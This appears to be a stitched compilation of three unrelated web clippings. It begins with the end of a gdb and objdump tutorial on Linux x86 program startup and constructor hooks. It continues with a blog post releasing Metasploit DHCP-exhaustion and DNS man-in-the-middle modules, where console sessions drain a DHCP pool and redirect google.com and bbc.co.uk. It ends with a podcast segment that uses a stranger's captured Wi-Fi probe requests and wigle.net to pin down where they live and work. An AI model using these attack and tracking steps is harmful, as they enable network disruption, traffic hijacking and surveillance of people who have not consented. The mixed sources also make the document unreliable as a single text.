xor %esi,%esi 80483d0: 8b 45 10 mov 0x10\(%ebp\),%eax 80483d3: 89 44 24 08 mov
%eax,0x8\(%esp\) 80483d7: 8b 45 0c mov 0xc\(%ebp\),%eax 80483da: 89 44 24 04
mov %eax,0x4\(%esp\) 80483de: 8b 45 08 mov 0x8\(%ebp\),%eax 80483e1: 89 04 24
mov %eax,\(%esp\) 80483e4: ff 94 b3 20 ff ff ff call \*-0xe0\(%ebx,%esi,4\)
80483eb: 83 c6 01 add $0x1,%esi 80483ee: 39 fe cmp %edi,%esi 80483f0: 72 de jb
80483d0 <\_\_libc\_csu\_init+0x30> 80483f2: 83 c4 1c add $0x1c,%esp 80483f5:
5b pop %ebx 80483f6: 5e pop %esi 80483f7: 5f pop %edi 80483f8: 5d pop %ebp
80483f9: c3 ret

### What the heck is a thunk?

Not much to talk about here, but I thought you'd want to see it. The
get\_pc\_thunk thing is a little interesting. It's used for position
independent code. They're setting up for position independent code to be able
to work. In order for it to work, the base pointer needs to have the address
of the GLOBAL\_OFFSET\_TABLE. The code had something like:

push %ebx call \_\_get\_pc\_thunk\_bx add $\_GLOBAL\_OFFSET\_TABLE\_,%ebx

\_\_get\_pc\_thunk\_bx: movel \(%esp\),%ebx return

So, look closely at what happens. The call to \_\_get\_pc\_thunk\_bx, like all
other calls, pushes onto the stack the address of the next instruction, so
that when we return, the execution continues at the next consecutive
instruction. In this case, what we really want is that address. So in
\_\_get\_pc\_thunk\_bx, we copy the return address from the stack into %ebx.
When we return, the next instruction adds to it \_GLOBAL\_OFFSET\_TABLE\_
which resolves to the difference between the current address and the global
offset table used by position independent code. That table keeps a set of
pointers to data that we want to access, and we just have to know offsets into
the table. The loader fixes up the address in the table for us. There is a
similar table for accessing procedures. It could be really tedious to program
this way in assembler, but you can just write C or C++ and pass the -pic
argument to the compiler and it will do it automagically. Seeing this code in
the assembler tells you that the source code was compiled with the -pic flag.

### But what is that loop?

The loop from \_\_libc\_csu\_init will be discussed in a minute after we
discuss the init\(\) call that really calls \_init. For now, just remember
that it calls any C level initializers for our program.

## \_init gets the call

Ok, the loader handed control to \_start, who called \_\_libc\_start\_main who
called \_\_libc\_csu\_init who now calls \_init.

08048274 <\_init>: 8048274: 55 push %ebp 8048275: 89 e5 mov %esp,%ebp 8048277:
53 push %ebx 8048278: 83 ec 04 sub $0x4,%esp 804827b: e8 00 00 00 00 call
8048280 <\_init+0xc> 8048280: 5b pop %ebx 8048281: 81 c3 74 1d 00 00 add
$0x1d74,%ebx \(.got.plt\) 8048287: 8b 93 fc ff ff ff mov -0x4\(%ebx\),%edx
804828d: 85 d2 test %edx,%edx 804828f: 74 05 je 8048296 <\_init+0x22> 8048291:
e8 1e 00 00 00 call 80482b4 <\_\_gmon\_start\_\_@plt> 8048296: e8 d5 00 00 00
call 8048370 <frame\_dummy> 804829b: e8 70 01 00 00 call 8048410
<\_\_do\_global\_ctors\_aux> 80482a0: 58 pop %eax 80482a1: 5b pop %ebx
80482a2: c9 leave 80482a3: c3 ret

### It starts with the regular C calling convention

If you want to know more about the C calling convention, just look at  Basic
Assembler Debugging with GDB. The short story is that we save our caller's
base pointer on the stack and point our base pointer at the top of the stack
and then save space for a 4 byte local of some sort. An interesting thing is
the first call. It's purpose is quite similar to that call to get\_pc\_thunk
that we saw earlier. If you look closely, the call is to the next sequential
address\! That gets you to the next address as if you'd just continued, but
with the side effect that the address is now on the stack. It gets popped into
%ebx and then used to set up for access to the global access table.

### Show me your best profile

Then we grab the address of gmon\_start. If it's zero then we don't call it,
instead we jump past it. Otherwise, we call it to set up profiling. It runs a
routine to start profiling, and calls at\_exit to schedule another routine to
run later to write gmon.out at the end of execution.

### This guy's no dummy\! He's been framed\!

In either case, next we call frame\_dummy. The intention is to call
\_\_register\_frame\_info, but frame\_dummy is called to set up the arguments
to it. The purpose of this is to set up for unwinding stack frames for
exception handling. It's interesting, but not a part of this discussion, so
I'll leave it for another tutorial perhaps. \(Don't be too disappointed, in
our case, it doesn't get run anyway.\)

### Finally we're getting constructive\!

Finally we call \_do\_global\_ctors\_aux. If you have a problem with your
program that occurs before main starts, this is probably where you'll need to
look. Of course, constructors for global C++ objects are put in here but it's
possible for other things to be in here as well.

### Let's set up an example

Let's modify our prog1 and make a prog2. The exciting part is the
\_\_attribute\_\_ \(\(constructor\)\) that tells gcc that the linker should
stick a pointer to this in the table used by \_\_do\_global\_ctors\_aux. As
you can see, our fake constructor gets run. \(\_\_FUNCTION\_\_ is filled in by
the compiler with the name of the function. It's gcc magic.\)

\#include <stdio.h> void \_\_attribute\_\_ \(\(constructor\)\)
a\_constructor\(\) \{ printf\("%s\n", \_\_FUNCTION\_\_\); \} int main\(\) \{
printf\("%s\n",\_\_FUNCTION\_\_\); \}

$ ./prog2 a\_constructor main $

### prog2's \_init, much the same as prog1

In a minute we'll drop into gdb and see it happen. We'll be going into prog2's
\_init.

08048290 <\_init>: 8048290: 55 push %ebp 8048291: 89 e5 mov %esp,%ebp 8048293:
53 push %ebx 8048294: 83 ec 04 sub $0x4,%esp 8048297: e8 00 00 00 00 call
804829c <\_init+0xc> 804829c: 5b pop %ebx 804829d: 81 c3 58 1d 00 00 add
$0x1d58,%ebx 80482a3: 8b 93 fc ff ff ff mov -0x4\(%ebx\),%edx 80482a9: 85 d2
test %edx,%edx 80482ab: 74 05 je 80482b2 <\_init+0x22> 80482ad: e8 1e 00 00 00
call 80482d0 <\_\_gmon\_start\_\_@plt> 80482b2: e8 d9 00 00 00 call 8048390
<frame\_dummy> 80482b7: e8 94 01 00 00 call 8048450
<\_\_do\_global\_ctors\_aux> 80482bc: 58 pop %eax 80482bd: 5b pop %ebx
80482be: c9 leave 80482bf: c3 ret

As you can see, the addresses are slightly different than in prog1. The extra
bit of data seems to have shifted things 28 bytes. So, there's the name of the
two functions, "a\_constructor" \(14 bytes with null terminator\), and "main"
\(5 bytes with null terminator\) and the two format strings, "%s\n" \(2\*4
bytes with the newline as 1 character and the null terminator\), so 14 + 5 + 4
+ 4 = 27? Hmmm off by one somewhere. It's just a guess anyway, I didn't go and
look. Anyway, we're going to break on the call to \_\_do\_global\_ctors\_aux,
and then single step and watch what happens.

### And here's the code that will get called

Just to help, here's the C source code for \_\_do\_global\_ctors\_aux out of
the gcc source code where it lives in a file gcc/crtstuff.c.

\_\_do\_global\_ctors\_aux \(void\) \{ func\_ptr \*p; for \(p =
\_\_CTOR\_END\_\_ - 1; \*p \!= \(func\_ptr\) -1; p--\) \(\*p\) \(\); \}

As you can see, it initializes p from a global variable \_\_CTOR\_END\_\_ and
subtracts 1 from it. Remember this is pointer arithmetic though and the
pointer points at a function, so in this case, that -1 backs it up one
function pointer, or 4 bytes. We'll see that in the assembler as well. While
the pointer doesn't have a value of -1 \(cast to a pointer\), we'll call the
function we're pointing at, and then back the pointer up again. Obviously, the
beginning of this table starts with -1, and then has some number \(perhaps 0\)
function pointers.

### Here's the same in assembler

Here's the assembler that corresponds to it from objdump -d. We'll go over it
carefully so you understand it completely before we trace through it in the
debugger.

08048450 <\_\_do\_global\_ctors\_aux>: 8048450: 55 push %ebp 8048451: 89 e5
mov %esp,%ebp 8048453: 53 push %ebx 8048454: 83 ec 04 sub $0x4,%esp 8048457:
a1 14 9f 04 08 mov 0x8049f14,%eax 804845c: 83 f8 ff cmp $0xffffffff,%eax
804845f: 74 13 je 8048474 <\_\_do\_global\_ctors\_aux+0x24> 8048461: bb 14 9f
04 08 mov $0x8049f14,%ebx 8048466: 66 90 xchg %ax,%ax 8048468: 83 eb 04 sub
$0x4,%ebx 804846b: ff d0 call \*%eax 804846d: 8b 03 mov \(%ebx\),%eax 804846f:
83 f8 ff cmp $0xffffffff,%eax 8048472: 75 f4 jne 8048468
<\_\_do\_global\_ctors\_aux+0x18> 8048474: 83 c4 04 add $0x4,%esp 8048477: 5b
pop %ebx 8048478: 5d pop %ebp 8048479: c3 ret

### First the preamble

There's the normal preamble with the addition of saving %ebx as well because
we're going to use it in the function, and we also save room for the pointer
p. You'll notice that even though we save room on the stack for it, we never
store it there. p will instead live in %ebx, and \*p will live in %eax.

### Now set up before the loop

It looks like an optimization has occurred, instead of loading
\_\_CTOR\_END\_\_ and then subtracting 1 from it, and dereferencing it,
instead, we go ahead and load \*\(\_\_CTOR\_END\_\_ - 1\), which is the
immediate value 0x8049f14. We load the value in it \(remember $0x8049f14 would
mean put that value, without the $, just 0x8049f14 means the contents of that
address\), into %eax. Immediately, we compare this first value with -1 and if
it's equal, we're done and jump to address 0x8048474, where we clean up our
stack, pop off the things we've saved on there and return.

Assuming that there's at least one thing in the function table, though, we
also move the immediate value $0x8049f14, into %ebx which is f our function
pointer, and then do the xchg %ax,%ax. What the heck is that? Well,
grasshopper, that is what they use for a nop \(No OPeration\) in 16 or 32 bit
x86. It does nothing but take a cycle and some space. In this case, it's used
to make the loop \(the top of the loop is the subtract on the next line\)
start on 8048468 instead of 8048466. The advantage of that is that it aligns
the start of the loop on a 4 byte boundary and gives a better chance that the
whole loop will fit in a cache line instead of being broken across two. It
speeds things up.

### And now we hit the top of the loop

Next we subtract 4 from %ebx to be ready for the next time through the loop,
call the function we've got the address of in %eax, move the next function
pointer into %eax, and compare it to -1. If it's not -1 we jump back up to the
subtract and loop again.

### And finally the epilogue

Otherwise we fall through into our function epilogue and return to \_init,
which immediately falls through into its epilogue and returns to
\_\_libc\_csu\_init\_\_. Bet you forgot all about him. There's still a loop to
deal with there but first--

### I promised you we'd go into the debugger with prog2\!

So here we go\! Remember that gdb always shows you the line or instruction
that you are _about_ to execute.

$ \!gdb gdb prog2 Reading symbols from /home/patrick/src/asm/prog2...done.
\(gdb\) set disassemble-next-line on \(gdb\) b \*0x80482b7 Breakpoint 1 at
0x80482b7

We ran it in the debugger, turned disassemble-next-line on, so that it will
always show us the disassembly for the line of code that is about to be
executed, and set a breakpoint at the line in \_init where we're about to call
\_\_do\_global\_ctors\_aux.

\(gdb\) r Starting program: /home/patrick/src/asm/prog2 Breakpoint 1,
0x080482b7 in \_init \(\) => 0x080482b7 <\_init+39>: e8 94 01 00 00 call
0x8048450 <\_\_do\_global\_ctors\_aux> \(gdb\) si 0x08048450 in
\_\_do\_global\_ctors\_aux \(\) => 0x08048450 <\_\_do\_global\_ctors\_aux+0>:
55 push %ebp

I typed r to run the program and hit the breakpoint. My next command to gdb
was si, step instruction, to tell gdb to single step one instruction. We've
now entered \_\_do\_global\_ctors\_aux. As we go along you'll see times when
it seems that I entered no command to gdb. That's because, if you simply press
return, gdb will repeat the last instruction. So if I press enter now, I'll do
another si.

\(gdb\) 0x08048451 in \_\_do\_global\_ctors\_aux \(\) => 0x08048451
<\_\_do\_global\_ctors\_aux+1>: 89 e5 mov %esp,%ebp \(gdb\) 0x08048453 in
\_\_do\_global\_ctors\_aux \(\) => 0x08048453 <\_\_do\_global\_ctors\_aux+3>:
53 push %ebx \(gdb\) 0x08048454 in \_\_do\_global\_ctors\_aux \(\) =>
0x08048454 <\_\_do\_global\_ctors\_aux+4>: 83 ec 04 sub $0x4,%esp \(gdb\)
0x08048457 in \_\_do\_global\_ctors\_aux \(\)

Ok, now we've finished the preamble, and the real code is about to start.

\(gdb\) => 0x08048457 <\_\_do\_global\_ctors\_aux+7>: a1 14 9f 04 08 mov
0x8049f14,%eax \(gdb\) 0x0804845c in \_\_do\_global\_ctors\_aux \(\) =>
0x0804845c <\_\_do\_global\_ctors\_aux+12>: 83 f8 ff cmp $0xffffffff,%eax
\(gdb\) p/x $eax $1 = 0x80483b4

I was curious after loading the pointer so I told gdb p/x $eax which means
print as hexadecimal the contents of the register %eax. It's not -1, so we can
assume that we'll continue through the loop. Now, since my last command was
the print, I can't hit enter to get an si, I'll have to type it the next time.

\(gdb\) si 0x0804845f in \_\_do\_global\_ctors\_aux \(\) => 0x0804845f
<\_\_do\_global\_ctors\_aux+15>: 74 13 je 0x8048474
<\_\_do\_global\_ctors\_aux+36> \(gdb\) 0x08048461 in
\_\_do\_global\_ctors\_aux \(\) => 0x08048461 <\_\_do\_global\_ctors\_aux+17>:
bb 14 9f 04 08 mov $0x8049f14,%ebx \(gdb\) 0x08048466 in
\_\_do\_global\_ctors\_aux \(\) => 0x08048466 <\_\_do\_global\_ctors\_aux+22>:
66 90 xchg %ax,%ax \(gdb\) 0x08048468 in \_\_do\_global\_ctors\_aux \(\) =>
0x08048468 <\_\_do\_global\_ctors\_aux+24>: 83 eb 04 sub $0x4,%ebx \(gdb\)
0x0804846b in \_\_do\_global\_ctors\_aux \(\) => 0x0804846b
<\_\_do\_global\_ctors\_aux+27>: ff d0 call \*%eax \(gdb\) a\_constructor \(\)
at prog2.c:3 3 void \_\_attribute\_\_ \(\(constructor\)\) a\_constructor\(\)
\{ => 0x080483b4 <a\_constructor+0>: 55 push %ebp 0x080483b5
<a\_constructor+1>: 89 e5 mov %esp,%ebp 0x080483b7 <a\_constructor+3>: 83 ec
18 sub $0x18,%esp

Now this is very interesting. We've single stepped into the call. Now we're in
our function, a\_constructor. Since gdb has the source code for it, it shows
us the C source for the next line. Since I turned on disassemble-next-line, it
will also give us the assembler that corresponds to that line. In this case,
it's the preamble for the function that corresponds to the declaration of the
function, so we get all three lines of the preamble. Isn't that interesting?
Now I'm going to switch over to the command n \(for next\) because our printf
is coming up. The first n will skip the preamble, the second the printf, and
the third the epilogue. If you've ever wondered why you have to do an extra
step at the beginning and end of a function when single stepping with gdb, now
you know the answer.

\(gdb\) n 4 printf\("%s\n", \_\_FUNCTION\_\_\); => 0x080483ba
<a\_constructor+6>: c7 04 24 a5 84 04 08 movl $0x80484a5,\(%esp\) 0x080483c1
<a\_constructor+13>: e8 2a ff ff ff call 0x80482f0 <puts@plt>

We moved the address of the string "a\_constructor" onto the stack as an
argument for printf, but it calls puts since the compiler was smart enough to
see that puts was all we needed.

\(gdb\) n a\_constructor 5 \} => 0x080483c6 <a\_constructor+18>: c9 leave
0x080483c7 <a\_constructor+19>: c3 ret

Since we're tracing the program, it is, of course running, so we see
a\_constructor print out above. The closing brace \(\}\) corresponds to the
epilogue so that prints out now. Just a note, if you don't know about the
instruction leave it does exactly the same as

movl %ebp, %esp popl %ebp

One more step and we exit the function and return, I'll have to switch back to
si.

\(gdb\) n 0x0804846d in \_\_do\_global\_ctors\_aux \(\) => 0x0804846d
<\_\_do\_global\_ctors\_aux+29>: 8b 03 mov \(%ebx\),%eax \(gdb\) si 0x0804846f
in \_\_do\_global\_ctors\_aux \(\) => 0x0804846f
<\_\_do\_global\_ctors\_aux+31>: 83 f8 ff cmp $0xffffffff,%eax \(gdb\)
0x08048472 in \_\_do\_global\_ctors\_aux \(\) => 0x08048472
<\_\_do\_global\_ctors\_aux+34>: 75 f4 jne 0x8048468
<\_\_do\_global\_ctors\_aux+24> \(gdb\) p/x $eax $2 = 0xffffffff

Got curious and checked again. This time, our function pointer is -1, so we'll
exit the loop.

\(gdb\) si 0x08048474 in \_\_do\_global\_ctors\_aux \(\) => 0x08048474
<\_\_do\_global\_ctors\_aux+36>: 83 c4 04 add $0x4,%esp \(gdb\) 0x08048477 in
\_\_do\_global\_ctors\_aux \(\) => 0x08048477 <\_\_do\_global\_ctors\_aux+39>:
5b pop %ebx \(gdb\) 0x08048478 in \_\_do\_global\_ctors\_aux \(\) =>
0x08048478 <\_\_do\_global\_ctors\_aux+40>: 5d pop %ebp \(gdb\) 0x08048479 in
\_\_do\_global\_ctors\_aux \(\) => 0x08048479 <\_\_do\_global\_ctors\_aux+41>:
c3 ret \(gdb\) 0x080482bc in \_init \(\) => 0x080482bc <\_init+44>: 58 pop
%eax

Notice we're back in \_init now.

\(gdb\) 0x080482bd in \_init \(\) => 0x080482bd <\_init+45>: 5b pop %ebx
\(gdb\) 0x080482be in \_init \(\) => 0x080482be <\_init+46>: c9 leave \(gdb\)
0x080482bf in \_init \(\) => 0x080482bf <\_init+47>: c3 ret \(gdb\) 0x080483f9
in \_\_libc\_csu\_init \(\) => 0x080483f9 <\_\_libc\_csu\_init+25>: 8d bb 1c
ff ff ff lea -0xe4\(%ebx\),%edi \(gdb\) q A debugging session is active.
Inferior 1 \[process 17368\] will be killed. Quit anyway? \(y or n\) y $

Notice we jumped back up into \_\_libc\_csu\_init, and that's when I typed q
to quite the debugger. That's all the debugging I promised you. Now that we're
back in \_\_libc\_csu\_init\_\_ there's another loop to deal with, and I'm not
going to step through it, but I am about to talk about it.

### Back up to \_\_libc\_csu\_init\_\_

Since we've spent a long tedious time dealing with a loop in assembler and the
assembler for this one is even more tedious, I'll leave it to you to figure it
out if you want. Just to remind you, here it is in C.

void \_\_libc\_csu\_init \(int argc, char \*\*argv, char \*\*envp\) \{ \_init
\(\); const size\_t size = \_\_init\_array\_end - \_\_init\_array\_start; for
\(size\_t i = 0; i < size; i++\) \(\*\_\_init\_array\_start \[i\]\) \(argc,
argv, envp\); \}

### Here's another function call loop

What is this \_\_init\_array? I thought you'd never ask. You can have code run
at this stage as well. Since this is just after returning from running \_init
which ran our constructors, that means anything in this array will run after
constructors are done. You can tell the compiler you want a function to run at
this phase. The function will receive the same arguments as main.

void init\(int argc, char \*\*argv, char \*\*envp\) \{ printf\("%s\n",
\_\_FUNCTION\_\_\); \} \_\_attribute\_\_\(\(section\(".init\_array"\)\)\)
typeof\(init\) \*\_\_init = init;

We won't do it, yet, because there's more things like that. Lets just return
from \_\_lib\_csu\_init. Do you remember where that will take us?

### We'll be all the way back in \_\_libc\_start\_main\_\_

He calls our main now, and then passes the result to exit\(\).

### exit\(\) runs some _more_ loops of functions

exit\(\) runs the functions registered with at\_exit run in the order they
were added. Then he runs another loop of functions, this time, functions in
the fini array. After that he runs another loop of functions, this time
destructors. \(In reality, he's in a nested loop dealing with an array of
lists of functions, but trust me this is the order they come out in.\) Here,
I'll show you.

### This program, hooks.c ties it all together

\#include <stdio.h> void preinit\(int argc, char \*\*argv, char \*\*envp\) \{
printf\("%s\n", \_\_FUNCTION\_\_\); \} void init\(int argc, char \*\*argv,
char \*\*envp\) \{ printf\("%s\n", \_\_FUNCTION\_\_\); \} void fini\(\) \{
printf\("%s\n", \_\_FUNCTION\_\_\); \}
\_\_attribute\_\_\(\(section\(".init\_array"\)\)\) typeof\(init\) \*\_\_init =
init; \_\_attribute\_\_\(\(section\(".preinit\_array"\)\)\) typeof\(preinit\)
\*\_\_preinit = preinit; \_\_attribute\_\_\(\(section\(".fini\_array"\)\)\)
typeof\(fini\) \*\_\_fini = fini; void \_\_attribute\_\_ \(\(constructor\)\)
constructor\(\) \{ printf\("%s\n", \_\_FUNCTION\_\_\); \} void
\_\_attribute\_\_ \(\(destructor\)\) destructor\(\) \{ printf\("%s\n",
\_\_FUNCTION\_\_\); \} void my\_atexit\(\) \{ printf\("%s\n",
\_\_FUNCTION\_\_\); \} void my\_atexit2\(\) \{ printf\("%s\n",
\_\_FUNCTION\_\_\); \} int main\(\) \{ atexit\(my\_atexit\);
atexit\(my\_atexit2\); \}

If you build and run this, \(I call it hooks.c\), the output is

$ ./hooks preinit constructor init my\_atexit2 my\_atexit fini destructor $

## The End

I'll give you a last look at how far we've come. This time it should all be
familiar territory to you.

<img src='img/Temp2_4941.png' alt='image of the callgraph for all the routines
involved in program startup on linux' />

# Metasploit DHCP Exhaustion and DNS MiTM - DigiNinja

**Created:**| _8/21/2009 10:31:17 AM_  
---|---  
**Updated:**| _8/21/2009 10:31:22 AM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

# Metasploit DNS and DHCP Exhaustion - BETA

Here are two Metasploit modules I've been working on which are now ready for
beta release. The first is a DNS MiTM module which has been worked on by
various people, the last being Wesley McGrew who released his version but
never got round to getting it into the Metasploit Framework. The module loads
a list of domains to give fake responses for and returns real results for
everything else. My work on this was to add the facility to have it reload the
config file without a restart by doing a look up on a pre-set domain. I also
fixed a couple of minor bugs.

The second module is a DHCP Exhaustion attack tool which continues to request
DHCP addresses till it stops getting responses from the server which, as far
as I can tell, means the IP pool is exhausted. I've written this one from the
ground up and is my first module. I think it fits in with the style of other
modules I've compared it with.

I'm releasing both of these in beta as I'm off on holiday for two weeks so
hoped that people could download and have a play with them while I'm away so
when I get back I can tidy up any bugs and submit them to the Framework. So,
any feedback, please get in touch.

## Usage

You'll need to be root to run both modules and for the DHCP module you'll need
to put the interface into promiscious mode before starting the attack so it
can hear all the replies to the fake requests. The easiest way to explain how
to use them is to just show the modules in use so here they are...

### DHCP Exhaustion

[code]

    msf > use auxiliary/dhcp_exhaustion/exhaust         
    msf auxiliary(exhaust) > set                        
    
    Global
    ======
    
    No entries in data store.
    
    Module: dhcp_exhaustion/exhaust
    ===============================
    
      Name        Value
      ----        -----
      DHCPSERVER  255.255.255.255
      SNAPLEN     65535
      TIMEOUT     2
    
    msf auxiliary(exhaust) > run
    
    [*] DHCP attack started
    [*] DHCP offer of address: 192.168.0.53
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.54
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.55
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.56
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.57
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.58
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.59
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.60
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.52
    [*] Got the ACK back, IP address allocated successfully
    [*] DHCP offer of address: 192.168.0.51
    [*] Got the ACK back, IP address allocated successfully
    [*] Timeout waiting for OFFER
    [*] Got a timeout, assuming DHCP exhausted. You Win
    [*] Finished
    [*] Auxiliary module execution completed
    
[/code]

### DNS MiTM

[code]

    msf > use auxiliary/dns_mitm/dns_mitm
    msf auxiliary(dns_mitm) > set
    
    Global
    ======
    
    No entries in data store.
    
    Module: dns_mitm/dns_mitm
    =========================
      
      Name     Value
      ----     -----
      RELOAD   digininja.reload
      SRVHOST  0.0.0.0
      SRVPORT  53
    
    msf auxiliary(dns_mitm) > run
    [-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: FILENAME, REALDNS.
    msf auxiliary(dns_mitm) > set FILENAME /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
    FILENAME => /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
    msf auxiliary(dns_mitm) > set REALDNS 192.168.0.8
    REALDNS => 192.168.0.8
    msf auxiliary(dns_mitm) > set
    
    Global
    ======
    
    No entries in data store.
    
    Module: dns_mitm/dns_mitm
    =========================
      
      Name      Value
      ----      -----
      FILENAME  /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
      REALDNS   192.168.0.8
      RELOAD    digininja.reload
      SRVHOST   0.0.0.0
      SRVPORT   53
    
    msf auxiliary(dns_mitm) > run
    [*] Auxiliary module running as background job
    msf auxiliary(dns_mitm) >
    [*] Loading hosts file
    
[/code]

The hosts file contains a single entry

[code]

    192.168.0.2 google.com
    
[/code]

Now do some look ups, google.com and bbc.co.uk

[code]

    nslookup
    > server localhost
    Default server: localhost
    Address: ::1#53
    Default server: localhost
    Address: 127.0.0.1#53
    > google.com
    Server:         localhost
    Address:        127.0.0.1#53
    
    Non-authoritative answer:
    Name:   google.com
    Address: 192.168.0.2
    Name:   google.com
    Address: 192.168.0.2
    Name:   google.com
    Address: 192.168.0.2
    > bbc.co.uk
    Server:         localhost
    Address:        127.0.0.1#53
    
    Non-authoritative answer:
    Name:   bbc.co.uk
    Address: 212.58.224.138
    
[/code]

Google is middled but the BBC gets through, now add the BBC to the hosts file

[code]

    echo "192.168.0.2 bbc.co.uk" >> dns.txt
    
[/code]

Refresh the server by looking up the special domain and then check the BBC
again

[code]

    > digininja.reload
    Server:         localhost
    Address:        127.0.0.1#53
    
    Non-authoritative answer:
    *** Can't find digininja.reload: No answer
    > bbc.co.uk
    Server:         localhost
    Address:        127.0.0.1#53
    
    Non-authoritative answer:
    Name:   bbc.co.uk
    Address: 192.168.0.2
    
[/code]

The BBC is now ours\!

## Download

Download both modules.

# Episode127 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:51:44 PM_  
---|---  
**Updated:**| _8/5/2009 12:51:54 PM_  
**Author:**| __  
**Tags:**| _wifi security tools pauldotcom Tutorials_  
  

# Tech Segment: Information gathering with Kismet - Hacker on a plane\!

I recently was able to meet up with Bob while he was on the run. He told me
that he was on a long flight recently headed in to Boston several weeks back
\(he's gotta keep on the move\!\), and he decided to fire up Kismet for some
passive captures while on the plane. He let it run for an hour or so, and
passed the captures to me for analysis. I trimmed them down to just spit out
some interesting stuff that we can use for this example.

We'll replay them with tcpdump:

[code]

    $ tcpdump -r bobs_intersting_packets
    
    
[/code]

...and we get a bunch of probe requests. We've talked bout this ad-nauseum
before. This is why we love Karma \(and Karmetasploit\). Windows \(and other
OSes, even some gaming consoles\), automatically tries to connect to wireless
networks in the preferred network lists. Kismet can then see those connect
requests as the OS cycles through the list.

So, here's the first list from the first capture from the same MAC address:

[code]

    16:32:04.483854 Probe Request (Free Public WiFi) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:06.763062 Beacon (Free Public WiFi) [1.0* 2.0* 5.5 11.0 Mbit] IBSS CH: 11
    16:32:11.977047 Probe Request (Hyatt) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:13.978262 Probe Request (fcc) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:16.071853 Probe Request (Lake) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:18.130698 Probe Request (public1) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:20.099906 Probe Request (The Point) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:22.069924 Probe Request (REDZONE) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:24.085280 Probe Request (belkin54g) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:26.115367 Probe Request (hhonors) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:28.146203 Probe Request (GlobalSuiteWireless) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:30.084600 Probe Request (1811) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:32.092157 Probe Request (Wayport_Access) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:34.118208 Probe Request (guestnet) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:36.123724 Probe Request (FourSeasons) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:38.138125 Probe Request (killington) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:42.153053 Probe Request (Hotel Griffon) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:46.160227 Probe Request (RGPublic) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:50.115316 Probe Request (oakbluffs) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:52.122565 Probe Request (Cuttyhunk) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:54.175486 Probe Request (MARYA) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:56.131065 Probe Request (mattapoisett) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:32:58.131358 Probe Request (linksys) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:33:00.137978 Probe Request (HBS) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    
    
[/code]

Now, go log in to wigle.net and search for some of the more unusual SSIDs.
What do you want to bet we can figure out where this particular person
lives/works/plays based on where they show up on the map. Then add the more
common names to the list, and you can bet that they show up in those same two
neighborhoods as well. Yes, several of them show up in very close proximitiy
spread out over to distinct neighborhoods.

The second capture Bob provided also had more interesting SSIDs, just in case
we REALLY wanted to triangulate:

[code]

    16:26:51.357853 Probe Request (ibahn) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:26:53.106024 Probe Request (Elysium) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:26:57.259488 Probe Request (JFKRL) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:26:59.080305 Probe Request (phspiaguest) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:03.281251 Probe Request (needadog) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:05.260271 Probe Request (guest_ssid) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:09.408208 Probe Request (NUwave) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:11.080215 Probe Request (SpotOn) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:13.233782 Probe Request (holden) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
    16:27:15.484724 Probe Request (SMC) [1.0* 2.0* 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
